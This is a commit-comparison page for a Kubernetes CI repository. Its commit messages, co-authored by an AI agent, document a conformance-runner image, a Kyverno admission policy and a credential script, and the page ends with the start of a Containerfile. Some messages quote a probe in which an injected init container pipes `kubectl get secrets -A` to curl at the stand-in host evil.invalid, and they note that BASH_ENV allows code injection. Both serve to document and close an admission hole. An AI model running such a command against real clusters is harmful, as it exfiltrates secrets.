Compare commits

..
Author SHA1 Message Date
jakman85andClaude Opus 5 0749562ad0 docs(decisions): record the rebase and the README merge decision
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
#18 has landed, so this branch's "PR #18 must merge first" caveat was stale --
corrected to say what is now true and, more importantly, what is still NOT:
no image has been built or pushed, so the digest this branch pins resolves to
nothing.

Also records the one real conflict the rebase hit and how it was resolved.
#18's README carried a blockquote saying the 4th admission rule pinning the
init container's command "is not in this branch". It IS in this branch
(trigger-initcontainers-must-be-the-committed-clone-step, plus the
ephemeralContainers and env/envFrom rules beside it), so keeping #18's wording
would have left main documenting an open hole that had just been closed.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:04:26 -05:00
jakman85andClaude Opus 5 76b265cd62 docs(decisions): the PR #20 handoff moves out of DECISIONS-LOG.md into its own file
The ~400-line append this branch made to DECISIONS-LOG.md's tail is what made PR #20
unmergeable: every concurrent branch appends to the same last hunk, and on 2026-09-29
four of the five open PRs conflicted on that one file and nothing else. The prose is
unchanged in substance -- it moves to decisions/2026-09-29-conformance-job-template.md,
the one-file-per-handoff layout PR #24 introduces -- and DECISIONS-LOG.md is no longer
touched by this branch at all.

Carried over in full, including every caveat: the initContainers/ephemeralContainers/env
finding and its measurements, the fixture matrix (65 pass / 13 fail / 0 error / 0 skip),
the hardcoded-clone-URL reasoning, the args shapes that cannot run in-cluster, the
`approval-policy` check that does not exist, and all of the UNVERIFIED items -- nothing
has executed against a cluster, the runner image and Secret do not exist, PR #18 must
merge first, and whether the API server even accepts ephemeralContainers in a Job pod
template is still unestablished.

One claim was WEAKENED rather than restated, per ci/l0.sh's own lesson: `kyverno test`
exits 0 and prints "N tests passed" even when a policy FAILS TO LOAD (every row becomes
Skip / Invalid Policy), which was measured while authoring this very policy. The entry
now says explicitly that the admission proofs rest on `kyverno apply`'s `error: 0,
skip: 0` counts, not on any exit code, and that a green l0 line would not by itself have
established that these rules loaded.

Format is decisions/README.md's: frontmatter (date, branch, title) plus the three
sections ci/decisions-log.sh enforces. The branch is rebased onto main at c59fe9f,
after #24 merged, so that stage is in the base and DID run against this entry.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + ENGINE shim): spec-immutability, decisions-log
(archive frozen, 2 entries well-formed), lint (404 files), l0, render-golden (10),
l1 all green; gitea-settings SKIPPED (no SETTINGS_API_TOKEN) and conformance L2/L3
SKIPPED (CLUSTER_AVAILABLE unset); MERGE GATE UNDETERMINED -- stages that did not run:
gitea-settings -- rc 3. Nothing FAILED, and rc 3 is not green.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:02:16 -05:00
jakman85andClaude Opus 5 f6e8fb1fee fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.

MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:

  * a `privileged: true` `docker.io/library/alpine:latest` initContainer running
    `kubectl get secrets -A`                            -> pass: 3, fail: 0   ADMITTED
  * the committed template with ONLY the init container's args swapped for
    `kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
                                                        -> pass: 3, fail: 0   ADMITTED

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.

Four new rules:
  * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
    non-root, no privilege escalation, not privileged.
  * trigger-may-not-declare-ephemeral-containers.
  * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
    variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command IS one.
  * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.

THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.

Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.

Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.

ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.

PROVEN, NOT ASSERTED (7 rules):
  real rendered template                   -> pass: 7, fail: 0
  coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6/1)
  ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.

UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.

Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:02:16 -05:00
jakman85andClaude Opus 5 6ef4def2b5 feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.

The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:

  * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
    `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
    `git` via an inline credential.helper that reads the environment, so the token is
    never in argv and never on disk;
  * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
    `readOnlyRootFilesystem: true` without a third volume and without subPath mounts
    (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
  * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
    clone target and `git clone` refuses a non-empty target -- hence the new
    `CONF_ARTIFACTS` override, honoured only when set.

The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.

Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:

    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===

`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.

Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.

FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.

UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.

Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 23:01:33 -05:00
jakman85 cac5c9f2a3 Merge pull request 'feat(conformance): build the runner image the in-cluster L2/L3 Job could never have run' (#18) from feat/conformance-runner-image into main
gate / gate (push) Successful in 1m36s
gate / conformance (push) Has been skipped
Reviewed-on: #18
Reviewed-by: Keith Jackson <[email protected]>
2026-09-30 03:59:26 +00:00
jakman85 762c3833fc Merge pull request 'feat(sec): provision the narrow conformance CI trigger credential -- and refuse to arm a fake green' (#19) from feat/conformance-trigger-kubeconfig into main
gate / conformance (push) Has been cancelled
gate / gate (push) Has been cancelled
Reviewed-on: #19
Reviewed-by: Keith Jackson <[email protected]>
2026-09-30 03:58:47 +00:00
jakman85 6dd0914df9 Merge pull request 'fix(crafty): the Keycloak gate works — Crafty's own login was the wall' (#22) from fix/crafty-oauth2-proxy-signin into main
gate / conformance (push) Has been cancelled
gate / gate (push) Has been cancelled
Reviewed-on: #22
Reviewed-by: Keith Jackson <[email protected]>
2026-09-30 03:54:37 +00:00
jakman85andClaude Opus 5 ad5de2dba9 docs(decisions): move PR #19's handoff out of the frozen DECISIONS-LOG.md
gate / gate (pull_request) Successful in 1m35s
gate / conformance (pull_request) Has been skipped
This branch originally appended ~99 lines to the tail of DECISIONS-LOG.md. That
tail is the hunk every concurrent branch collides on: measured against the live
Gitea on 2026-09-29, four of the five open PRs were mergeable:false and
DECISIONS-LOG.md was the ONLY conflicting path in all four. PR #19 was one of them.
Nothing was wrong with the change; the log's storage format serialised work that
was otherwise parallel.

So the handoff now lives in its own file, decisions/2026-09-29-conformance-trigger-kubeconfig.md,
in the one-entry-per-file layout PR #24 introduces (frontmatter date/branch/title,
plus "What changed" / "What I verified" / "What I did NOT verify"). Concurrent
branches then touch disjoint paths and there is nothing to merge.

The branch was rebuilt on today's main with the DECISIONS-LOG.md change dropped
entirely; infra/gitea/README.md and infra/gitea/conformance-trigger-kubeconfig.sh
are byte-identical to the original commits. The original commit that touched ONLY
DECISIONS-LOG.md -- the measurement that PR #19's CI has no approval-policy check
-- was dropped as a commit and its substance folded into the new entry verbatim in
meaning, including every UNVERIFIED it recorded.

No content was upgraded. The script is still UNEXECUTED: nothing minted, no Gitea
object written, no kubectl mutation, and the Gitea variables API shape remains
documentation rather than measurement.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:51:14 -05:00
jakman85andClaude Opus 5 b105c764fc docs(decisions): handoff for the conformance-runner image, as its own file
gate / gate (pull_request) Successful in 1m36s
gate / conformance (pull_request) Has been skipped
CLAUDE.md section 7. This branch originally carried its handoff as a ~236-line
append to the tail of DECISIONS-LOG.md. Measured against the live Gitea on
2026-09-29, that append was the ONLY conflicting path between PR #18 and main,
and it is why the PR was `mergeable: false` -- four of the five open PRs were
unmergeable for exactly the same reason, on the same last hunk.

The append is dropped from this branch entirely; the branch now touches nothing
outside conformance/. Its substance moves here unchanged in meaning, in the
one-file-per-entry shape PR #24 introduces and ci/decisions-log.sh enforces:
frontmatter (date, branch, title) plus "What changed" / "What I verified" /
"What I did NOT verify".

Nothing the branch claims to have proven was upgraded in the move. Everything
the original entry marked UNVERIFIED is still marked UNVERIFIED here, and the
list grew rather than shrank: the image has never run in the cluster, it is not
pushed anywhere so CONFORMANCE_RUNNER_IMAGE_DIGEST stays empty, the image was
NOT rebuilt during this rework, chainsaw's cosign signatures are still
unverified, the 4th policy rule that would make conformance-clone REQUIRED does
not exist so the initContainer hole is open, and L2/L3 still do not run in CI.

Gate on the reworked branch, in the pinned toolbox from this worktree:
rc 3, MERGE GATE: UNDETERMINED, nothing FAILED. spec-immutability, lint, l0,
render-golden and l1 all green; gitea-settings the only stage that did not run
(SETTINGS_API_TOKEN unwired repo-wide); conformance warns L2/L3 UNVERIFIED for
R-SEC-02 R-TEST-01..04. Not green, and not reported as green.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:51:11 -05:00
jakman85andClaude Opus 5 ab9ba32a76 feat(sec): bake conformance-clone so the init container has no injection surface
Closes half of the admission gap a sibling agent found in PR #13's policy: it pins
the MAIN container's `command` but never reads `initContainers`, so a Job from
`conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]`
and an arbitrary script, running as the privileged `conformance-runner` SA.
Reproduced by the policy's author: pass 3, fail 0 on a privileged alpine:latest
init container running `kubectl get secrets -A`.

The image now carries /usr/local/bin/conformance-clone, 0755 root:root, so uid
65532 cannot replace the one executable the policy will come to trust. Clone logic
taken from PR #20's `clone-suite-at-commit`, with both load-bearing properties
preserved: the SHA must match ^[0-9a-f]{40}$, and `rev-parse HEAD` is ASSERTED
equal to it after checkout, so an unrendered placeholder is a hard failure instead
of a silent run of the branch tip. No arguments are accepted.

DEVIATION FROM THE BRIEF, DELIBERATE: the repo URL and clone target are COMPILED
IN rather than read from the environment. I was asked to take SHA, repo URL and
target dir from env. The policy contains no `env`/`valueFrom`/`secretKeyRef` clause
at all -- so trusting CONFORMANCE_REPO_URL would move the injection one field over:
the trigger points it at a repo it controls, this fetches that, and ./run.sh from
the attacker's tree runs under the privileged SA. "No args" would not have stopped
it. The env vars are still read so the Job template stays self-documenting, but a
value disagreeing with the baked literal is a hard failure, never a redirect. The
SHA is the only genuinely trusted per-run input.

THIS IS HALF A FIX. What makes the fixed path REQUIRED rather than merely available
is a 4th policy rule demanding command: ["/usr/local/bin/conformance-clone"] with
no args on every initContainer. That edits the security boundary and belongs in its
own reviewed PR -- it is NOT here. Until it lands the hole is open, and the README,
the Containerfile and the script header all say so.

VERIFIED by running it (uid 65532, --read-only): root:root 755 and confirmed not
writable by the runner; seven negative cases each asserted to exit non-zero
(arguments, missing SHA, a branch name, an unrendered @@placeholder@@, HOME off the
workspace volume, a REDIRECTED repo URL, a clone target off the workspace volume);
and the positive case -- a real clone of this repo at a real 40-hex SHA with
rev-parse HEAD proven equal to it.

Two bugs of mine that only running it could find, both fixed: the workspace-path
guard matched /workspace/* and so rejected the image's own HOME=/workspace; and the
negative checks were pipelines, which under pipefail aborted the verify at the
first expected failure and silently skipped the other six. A verify that stops
early looks exactly like a verify that passed.

The anonymous-clone fallback is deliberate and logged: read access to this repo
needs no credential today, the integrity guarantee is the SHA assertion rather than
the credential, and requiring the Secret would make the script untestable without
one.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:49:34 -05:00
jakman85andClaude Opus 5 529556d7c7 fix(conformance): state the chainsaw supply-chain gap accurately
The Containerfile said chainsaw "publishes no per-asset checksum file at a stable
URL". Literally true, and misleading: it reads as "no integrity option exists".
Checked the release assets via the GitHub API -- v0.2.12 ships per-asset cosign
`.sig` + `.pem` and an SBOM alongside each tarball. So verification IS available,
it just needs cosign in the builder stage and the right keyless identity for
kyverno's release workflow.

Comment now says what is actually true: kubectl is sha256-verified, chainsaw rests
on tag + TLS, and the cosign path is named as a TODO rather than implied away.
Deliberately not implemented here -- picking a trusted signer identity is a
supply-chain decision that belongs in its own reviewed change, not a silent
addition to a runner image. Noted that infra/devcontainer/Containerfile has the
same gap for the same binary.

Rebuilt after the edit; the in-image verification still passes.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:49:34 -05:00
jakman85andClaude Opus 5 8619c60e6e feat(conformance): build the runner image the in-cluster Job could never have run
The committed L2/L3 Job pins `ghcr.io/kyverno/chainsaw:v0.2.12` with
`command: ["./run.sh"]`. Those two lines cannot both be true. That image carries
the chainsaw binary and essentially nothing else -- no bash, no python3, no
kubectl, no git -- so the Job would have failed at exec of `./run.sh`, before a
single test ran. Nothing in the tree said so.

This adds the image that makes the Job runnable (plan
docs/plans/l2-l3-conformance-ci-wiring.md section 3 item 1):

* conformance/incluster/Containerfile -- bash + python3 + chainsaw + kubectl +
  git-core + tar/gzip/coreutils (the base64-tar results channel of item 3).
  Two-stage: a full Fedora fetches the release binaries and verifies kubectl's
  published sha256; the runtime layer is fedora-minimal and carries no
  downloader. Versions are --build-arg-injected from
  infra/devcontainer/versions.env (CHAINSAW_VERSION, KUBECTL_VERSION,
  FEDORA_VERSION) -- the single source of truth -- so the chainsaw and kubectl in
  the runner are the same pins the toolbox gate runs with. No new pin is invented
  here, and the ARG defaults are EMPTY so a build that forgets one fails loudly
  instead of baking a stale version.

* conformance/incluster/build-image.sh -- builds it, PROVES the toolchain by
  executing it inside the image, and prints the digest. It never pushes: the
  registry credential is not an agent's to hold and publishing the artifact a
  fail-closed policy then trusts is an operator action. It prints the exact
  `podman push --digestfile ...` line instead.

* conformance/versions.env -- CONFORMANCE_RUNNER_IMAGE, with the digest
  deliberately EMPTY and a loud block saying the operator fills it in after the
  push. Empty is a visible failure in whatever renders the Job; a guessed digest
  would be an ImagePullBackOff dressed up as a cluster fault.

WHAT THE ADMISSION BOUNDARY FORCED, AND WHY THE IMAGE OBEYS IT

platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
failurePolicy: Fail and it is the R-SEC-02 boundary. It is NOT modified here.
Two of its clauses are load-bearing on the image itself:

* `runAsNonRoot: true` with no explicit runAsUser means the kubelet rejects an
  image whose USER is a name it cannot resolve to a uid. So USER is NUMERIC
  (65532), not a friendly name.
* The pod is readOnlyRootFilesystem and the policy admits only the `workspace`
  and `results` volumes -- there is no writable /tmp and one cannot be added
  without editing the boundary. So HOME, XDG_CACHE_HOME, XDG_CONFIG_HOME and
  TMPDIR all point into /workspace, and git's safe.directory config is written
  to /etc/gitconfig at BUILD time because a runtime --global write would fail.

VERIFIED BY RUNNING IT, not by a successful build

As uid 65532 with --read-only: bash 5.3.9, Python 3.14.7, git 2.55.0,
kubectl v1.36.4 (client), chainsaw 0.2.12; / confirmed read-only, /workspace
writable, uid confirmed non-zero. Then the real thing -- `./run.sh --lint`,
`--coverage-only` and `--layer l2 --no-cluster` all rc 0 inside the image
against this worktree, emitting coverage.md/.json and report.junit.xml.

KNOWN LIMIT, FLAGGED NOT PAPERED OVER

run.sh runs the selected offline L0/L1 checks before it touches the cluster for
ANY selection that is not offline-only, and those checks shell out to flux,
promtool, kyverno and kustomize, which this image does not carry. Baking the
whole devcontainer toolchain into the runner would roughly double its size to
re-run work ci/l0.sh and ci/l1.sh already did offline in the same CI run. So the
Job must select the cluster-gated layers only (`--layer l2` / `--layer l3`);
`--layer all` and a bare `--requirements <IDs>` would drag the L0 checks in and
fail on a missing tool. `--layer l2` is verified above to resolve the offline
selection to nothing. Choosing the Job's args belongs to T-6.1b; the constraint
is documented in the Containerfile header and the incluster README rather than
left for someone to discover from a pod log.

chainsaw-job.yaml's `image:` is left stale ON PURPOSE -- there is no digest to
put there yet, and the trigger renders that template per run (plan item 4). The
README now says so instead of letting the placeholder read as a pin.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:49:34 -05:00
jakman85andClaude Opus 5 ae5c7385a5 docs(gitea): the README still named the ILLEGAL secret GITEA_SETTINGS_TOKEN
PR #15 renamed the Actions secret to SETTINGS_API_TOKEN because Gitea RESERVES the
GITEA_ prefix and rejects such a name with HTTP 400 "invalid secret name" -- the
defect that left the branch-protection detector inert and unnoticed. The README in
this very directory, which documents that story, went on naming the illegal name in
its behaviour table and in its closing "remaining step" line.

Both now say SETTINGS_API_TOKEN, plus a note recording what ci/gitea-settings.sh
ACTUALLY does, quoted from the file rather than assumed:

    TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"

GITEA_SETTINGS_TOKEN is still honoured, but ONLY as an environment variable for a
local run -- it can never be the CI wiring, because the secret that would feed it
cannot be created at all. The closing line also predated PR #15 storing the secret;
it now says so.

Documentation only. No behaviour change.

NOT fixed here, because it is outside this PR's diff: ci/gitea-settings.sh:45 still
instructs the reader to "create a Gitea repo secret GITEA_SETTINGS_TOKEN", which is
impossible. Same defect, different file -- worth its own one-line change.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:47:55 -05:00
jakman85andClaude Opus 5 19f9a8ae0c feat(sec): provision the narrow conformance CI trigger credential -- and refuse to arm a fake green
docs/plans/l2-l3-conformance-ci-wiring.md §3 item 6, as an operator script:
infra/gitea/conformance-trigger-kubeconfig.sh. UNEXECUTED here -- minting a
cluster credential and changing Gitea variables are operator actions.

It mints a token for conformance/conformance-trigger (TokenRequest), wraps ONLY
that token with the cluster CA and server into a kubeconfig, and stores it as the
Actions secret CONFORMANCE_TRIGGER_KUBECONFIG. Never cluster-admin, never a copy
of the operator's own kubeconfig. The token is never printed and never reaches
argv: it goes into a 0600 file and into the PUT body FILE (--data @file), and the
script refuses to run under `set -x` because xtrace would print it.

Two traps this repo already paid for are designed around:

  * GITEA_ is a RESERVED secret-name prefix (HTTP 400 "invalid secret name"), so
    the name is CONFORMANCE_TRIGGER_KUBECONFIG -- which is also what gate.yml and
    merge-gate.yaml already reference.
  * `curl -sS` exits 0 on an HTTP error. Every write checks %{http_code} AND reads
    the object back. The secret read-back proves presence by NAME only (Gitea
    never returns secret values) and the script says so rather than implying its
    content was checked; the variable read-back asserts the value is exactly
    "true", which is what gate.yml compares against.

PRECONDITIONS ARE SPLIT IN TWO, and the split is the security argument:

  mint-blocking (cluster) -- SA/Role/RoleBinding present, and ClusterPolicy
  conformance-trigger-job-shape present + Enforce + failurePolicy Fail + Ready.
  Any failure and NOTHING IS MINTED. Kubernetes places no `use` check on a Job's
  serviceAccountName, so a `create jobs` token in that namespace IS the privileged
  conformance-runner identity unless admission bounds its shape. RBAC cannot close
  that (plan §4); minting before the boundary is live hands CI the escalation the
  boundary exists to close.

  arm-blocking (repo) -- digest-pinned CONFORMANCE_RUNNER_IMAGE, an initContainer
  plus the admitted image in chainsaw-job.yaml, and CONFORMANCE_TRIGGER_KUBECONFIG
  referenced in ci/conformance.sh CODE rather than a comment. These block only
  vars.CLUSTER_AVAILABLE, because storing the secret early is harmless (the job is
  gated off) and is the plan's own order.

All three arm-blocking checks FAIL in the tree today, so a live run would store
the secret and then REFUSE to arm CLUSTER_AVAILABLE, naming each missing item.
That is the intended behaviour: measured 2026-09-29, CLUSTER_AVAILABLE=true with
no trigger path scaffold-skipped all 54 tests at rc 0 and the stage printed "L2/L3
conformance passed". ci/conformance.sh now blocks that case, so arming early does
not enable L2/L3 -- it only breaks every PR. Arming needs the explicit flag, every
precondition green, and a typed confirmation on a TTY.

Before storing anything, the credential is PROVEN narrow: auth whoami must be
system:serviceaccount:conformance:conformance-trigger, a real `get jobs` round-trip
must succeed, and an auth can-i matrix asserts both halves -- granted (create/get
jobs, get pods, get pods/log) and DENIED (delete jobs, create pods/exec, get
secrets, create jobs in default, get nodes, '*' '*' --all-namespaces). A mismatch
aborts before any store, and says explicitly not to widen
conformance/incluster/rbac.yaml to make it pass.

Verified only by `bash -n` (clean) and reading. The Gitea variables API shape
(POST creates, PUT updates, body field `value` not `data`) is from documentation,
not measurement: the script tries POST then PUT, prints the response body on
failure, and treats the read-back as the authority. Kyverno readiness is accepted
from either .status.ready or a Ready condition, and "neither present" blocks
rather than assuming ready.

Gate (pinned toolbox): MERGE GATE: UNDETERMINED (rc 3) -- spec-immutability and
gitea-settings unrun, the expected local result.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:47:55 -05:00
16 changed files with 3159 additions and 59 deletions

No files matched your search

+200
View File
@@ -0,0 +1,200 @@
# =============================================================================
# conformance-runner — the image the in-cluster L2/L3 Chainsaw Job actually runs.
# Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
#
# WHY THIS EXISTS. chainsaw-job.yaml pins `ghcr.io/kyverno/chainsaw:v0.2.12` and
# `command: ["./run.sh"]`. That image carries the chainsaw binary and almost nothing else —
# no bash, no python3, no kubectl, no git. So the committed Job could never have run: it
# would have failed at exec of `./run.sh`. This image carries exactly what
# `conformance/run.sh` needs:
#
# bash run.sh and every tests/**/check.sh are bash (arrays, mapfile, BASH_SOURCE)
# python3 lib/{run_l1_offline,gen_coverage,merge_junit,emit_skipped_junit,status}.py
# (stdlib only — conformance/versions.env PYTHON_MIN=3.9, so no pip layer)
# chainsaw the L1/L2/L3 runner itself (run_chainsaw / lint_tests)
# kubectl conf_cluster_reachable()'s `kubectl cluster-info` preflight + probe scripts
# git the init-container's `clone --depth 1` + `checkout <SHA>` (§3 item 2) and
# run.sh's `rev-parse --short HEAD` for the run id
# tar/gzip/coreutils the `=== ARTIFACTS-TGZ-BASE64 ===` results channel (§3 item 3)
#
# It also carries `/usr/local/bin/conformance-clone` (0755 root:root) — the init container's
# ONLY entrypoint, a fixed path with no argument surface. That exists to close an admission
# hole, not for convenience: see the COPY below and the script's own header.
#
# VERSIONS COME FROM infra/devcontainer/versions.env — NOT from new pins invented here.
# That file is the single source of truth for CHAINSAW_VERSION / KUBECTL_VERSION /
# FEDORA_VERSION, and build-image.sh sources it and passes them in as --build-arg. The
# ARG defaults below are deliberately EMPTY so a build that forgets to pass them fails
# loudly (see the assertion in the first RUN) instead of silently baking a stale version.
#
# KNOWN LIMIT — READ BEFORE CHOOSING THE JOB'S `args`.
# `run.sh` runs the selected OFFLINE L0/L1 checks (run_offline_checks) before it ever
# touches the cluster, for ANY selection that is not offline-only. Those checks shell out
# to flux / promtool / kyverno / kustomize, which this image deliberately does NOT carry —
# baking the whole devcontainer toolchain into the runner would roughly double its size to
# re-run work that ci/l0.sh + ci/l1.sh already did offline in the same CI run. So the Job
# must select the cluster-gated layers only, e.g. `args: ["--layer", "l2"]` /
# `["--layer", "l3"]`, where offline_selected_dirs() resolves to nothing and
# run_offline_checks() returns 0. `--layer all` and a bare `--requirements <IDs>` would drag
# the L0 checks in and fail on a missing tool. Flagged to the plan owner; choosing the Job's
# args is T-6.1b's call, not this image's.
#
# THE ADMISSION CONTRACT THIS IMAGE MUST SATISFY.
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is a fail-closed Enforce
# ClusterPolicy (R-SEC-02) and it is the security boundary. It requires the Job's container
# to be `gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*` — a DIGEST,
# never a tag — with `runAsNonRoot: true` and `allowPrivilegeEscalation: false`. Two
# consequences are baked in here:
#
# 1. `USER` is NUMERIC. With `runAsNonRoot: true` and no explicit `runAsUser`, the kubelet
# REJECTS an image whose USER is a name it cannot resolve to a uid
# ("container has runAsNonRoot and image has non-numeric user"). So: USER 65532:65532.
# 2. The pod is `readOnlyRootFilesystem: true` and the policy admits only the `workspace`
# and `results` volumes — there is no writable /tmp and one cannot be added without
# changing the boundary. So HOME and every cache path point INTO /workspace (the
# emptyDir), not at the read-only root. That is why HOME=/workspace below.
# =============================================================================
# --- builder: fetch the pinned release binaries ------------------------------
# A full Fedora for the download stage (it has curl + tar); none of it ships in the runtime
# image, so the runner does not carry a downloader it has no business having at runtime.
ARG FEDORA_VERSION=44
FROM registry.fedoraproject.org/fedora:${FEDORA_VERSION} AS builder
ARG CHAINSAW_VERSION=
ARG KUBECTL_VERSION=
ARG TARGETARCH=amd64
# Fail the BUILD — not the Job, three weeks later — if a pin was not passed in.
RUN set -eux; \
: "${CHAINSAW_VERSION:?pass --build-arg CHAINSAW_VERSION from infra/devcontainer/versions.env}"; \
